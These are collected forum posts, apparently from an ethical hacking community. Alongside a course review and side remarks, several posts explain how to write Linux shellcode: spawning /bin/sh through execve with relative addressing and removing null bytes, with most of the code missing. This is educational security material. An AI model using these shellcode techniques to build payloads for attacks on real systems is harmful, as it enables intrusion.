that's a massive assumption you're making there....

as far as I'm aware - exploits using mp3's are similar to the ones using image files that you asked about in July last year. 

as an mp3 is just a file format (http://en.wikipedia.org/wiki/Mp3#File_structure / http://www.mpgedit.org/mpgedit/mpeg_format/MP3Format.html) the mp3 would have to exploit a specific buffer overflow or some other vulnerability in order to start executing.  I remember something like this happening in winamp a while back, but havn't heard anything recently about this being possible in any popular mp3 players.

you can open the mp3 in a hex editor to see what's in it.  if you think it contains exploit code then you can look at it in a dissassembler or do any number of system level reversing tricks in a virtual machine. 

I loved this bit:


Dispite the potential ineffectiveness of this method it raises issues such as:

- as there is now a potential market for malware in the form of governments, where do malware writers stand legally now?
- if a security researcher finds said malware, reverses it and reports on it's inner workings on the internet, where does this put the security researcher legally?
- if a security researcher developes a tool to remove government malware - where does it put them - or any anti-virus company/group for that matter.
- how the hell are they going to deal with people who actually know how to secure their pc's? 

orwellian slope anyone?

the idea is that you compile the asm, objdump it, extract the opcodes and then test it in a C program. 


take the opcodes and stick into a test framework:


and that should run fine.

edit:  here's a good article I found helpful too:

http://www.madirish.net/?article=168

the course costs $2,950, although they had an introductory offer in August (which may or may not still be going of $1,950, which is what I paid.

at this stage, I would unfortunately have to recommend NOT getting the course.

I've nearly finished and should post a review early next week and you can make up your own mind but IMHO it needs quite a bit of improving, it's not that it's bad or lacks content.

I would instead recommend 'Reversing - the secrets of reverse engineering' by Eldad Eilam. A significant cost-saving compared to the course and yet scarily similar content.

Got an e-mail back from Jack Koziol (snipped for relevence):


Awesome :-)

and so I asked if he recommended taking the exam now or later (and also for permission to post his comments here) and I got back:


double-plus-awesome!

in addition - they're short on people who would be capable of producing valid test-cases and would appreciate any volunteers.

Course is going well - I have some concerns about it though but I'll hold back on commenting too much until I finish it.

I'm by no means an expert, just learning, like yourself so I may be very wrong, (please someone stop me if I am!) but I'm almost certain that for the most part when writing shellcode yourself you're not going to be  able to simply manipulate the existing assembly to remove the nulls, you're going to have to analyse the code that you're wanting to execute and break it down into its essential components and then re-write as efficiently as you can.

Even when you do a simple exit as below:


you're still going to have to figure out what is being loaded into ebx (0 apparently).
 
and determine whether you need both int 80's. (one is exit_group() and one is exit())
 
The resulting assembly would be

   
which doesn't really bear a lot of resemblence to the original disassembly   
 

I suspect actually that most wife implementations have a buffer overflow vulnerability when parsing flowers/chocolate.  if you send them with a well-crafted payload in the form of an attached note, you can overwrite the return address, directing them to a particularly romantic resturant of your choice and thereafter continually drop references to your book in the context of christmas presents. 

make sure you handle the exit gracefully though so as to avoid segfaulting....

Hi again,

I was going to try to type out an excerpt from the shellcoder's handbook, but it is multiple pages long.  This was a Good Thing because it forced me to understand it prior to posting here :-)  I havn't done so previously because I'm focusing on the reversing course that I'm doing at the moment.

Anyway, In summary:

We want to spawn a shell by calling


So first we write what we want to do in c (this is code from the book): 


Next we disassemble it and take a look at the execve call (this is cut down to show the parameters and the call itself, but it's good to look at the entire function):

As you can see, int 80 performs the syscall which is stored in eax (execve is 0xb)  and takes three arguments, passed in via the registers ebx, ecx and edx (fastcall convention). 

The problem with simply taking the disassembly and removing null bytes is that there are a lot of hard-coded addresses in there - which, as you've found, are difficult to deal with.

So we need a way to make it so we can reference everything via relative addressing.

The simplest way to do this is to have our shellcode execute in it's own stack frame that we can control.  The idea is that we start the shellcode off with a call and then go from there.

Here's the assembly code from the book (sorry for the intel syntax):


When the call instruction is executed, the instruction immediately following is placed on the stack.  We've included some padding in the db (define byte) instruction in order to make room for the extra parameters in our call to execve.

Next we pop esi to get the address of our '/bin/shABBBBCCCC' string into the ESI register - now we can reference this as offsets from ESI.

sets eax to null.


places a null over the 7th byte in our string the "A"


places our string into ebx


moves our string into the address at esi+8.  our string now should look like: '/bin/sh./bin/shCCCC'  with the "." representing a null

This moves null (eax was xor'd previously) into the last part of our string

Now we set up ready for the interrupt 80:


At this point - EAX will contain 00 00 00 0b
EBX will contain a pointer to the string '/bin/sh'
Ecx will also contain a pointer to the string '/bin/sh'
And edx will contain a pointer to a null

Then we execute the interrupt.


So you merely have to compile that assembly and extract the opcodes.

hope that helps -

One thing I've just noticed with the CREA exam itself is according to the website it is merely a multiple choice exam.

This confuses me a bit because the CEPT and CPT certifications have practical components - that's what makes them such good certifications.  it further confuses me that the CEPT exam has a binary reversing component, but the Reversing exam does not despite their obvious capability for administering practical assessment.

surely a crackme or two wouldn't go astray in increasing the value of this cert?  I've sent them an e-mail asking about it in anycase.

don't say sorry for posting!  there's no such thing as a stupid question.

yes, your code may compile differently under different operating systems and definately with different compilers, but it should all by syntactically the same.

the general process for writing shellcode goes:

1. write your code in a high level language
2. compile to assembly
3. take only the assembly component that you need from it
4. compile cut-down assembly to binary
5. disassemble resulting binary to identify null bytes
6. re-work the assembly until you remove null bytes (see above posts for general idea of how to remove null bytes).

you may need to engage in some jiggery-pokery to reserve space for strings such as /bin/sh etc.

if you're serious about getting into this, I Highly recommend getting "the shellcoders handbook" - the entire book is dedicated to writing shellcode.

I'll post an excerpt from it detailing the above steps later on if you like (don't have the book in front of me right now).

I'll second that - I've been a member there since the beginning of 2004 (not under this nick name). if you can get past the regular newbie questions you'll find there's a lot of knowledgable locksmiths ans hobyists alike hanging arround.

the (restricted) advanced forum has quite a bit more information about higher security locks and different bypass methods that are not discussed in the open forum.

Hi Nubie - I'm also new at writing shellcode, but it is my understanding that you should look at the actual opcodes to determine where the null byte is coming from.

Use objdump -d on the compiled file and identify which commands have null bytes - for example:

80483a5:       b8 11 00 00 00          mov    $0x11,%eax

Has three null bytes, but you can fix this by changing to use the low 8 bit register:
mov $0x11, %al

Which will remove the null bytes from the shellcode but still perform the same function.

Does this assist at all?

oh, I was definately ntending on posting it here on EH.net (and on my blog with gratuitous linking to the EH article of course) - would you prefer I start a new article or place it in this thread?   

Finally recieved my package with the software and lab notes.  It was merely a miss-communication of package tracking numbers rather than the fault of the infosec institute.

They've also fixed the online component and added practical excersise videos also.

Now to get stuck into it.  I'll be writing a complete review after about a week or so.

I'm particularly impressed with the CD's that just came - they have all the software required for the lab excersises including the crackme's and viruses that are analysed and on the other CD there's one large VMware image containing everything for those who don't have a lab environment set up already.

*rubs hands together with childish glee*

well done - that's a hard thing to do when it's family/friends you're working with.

sounds like you've made the right decision.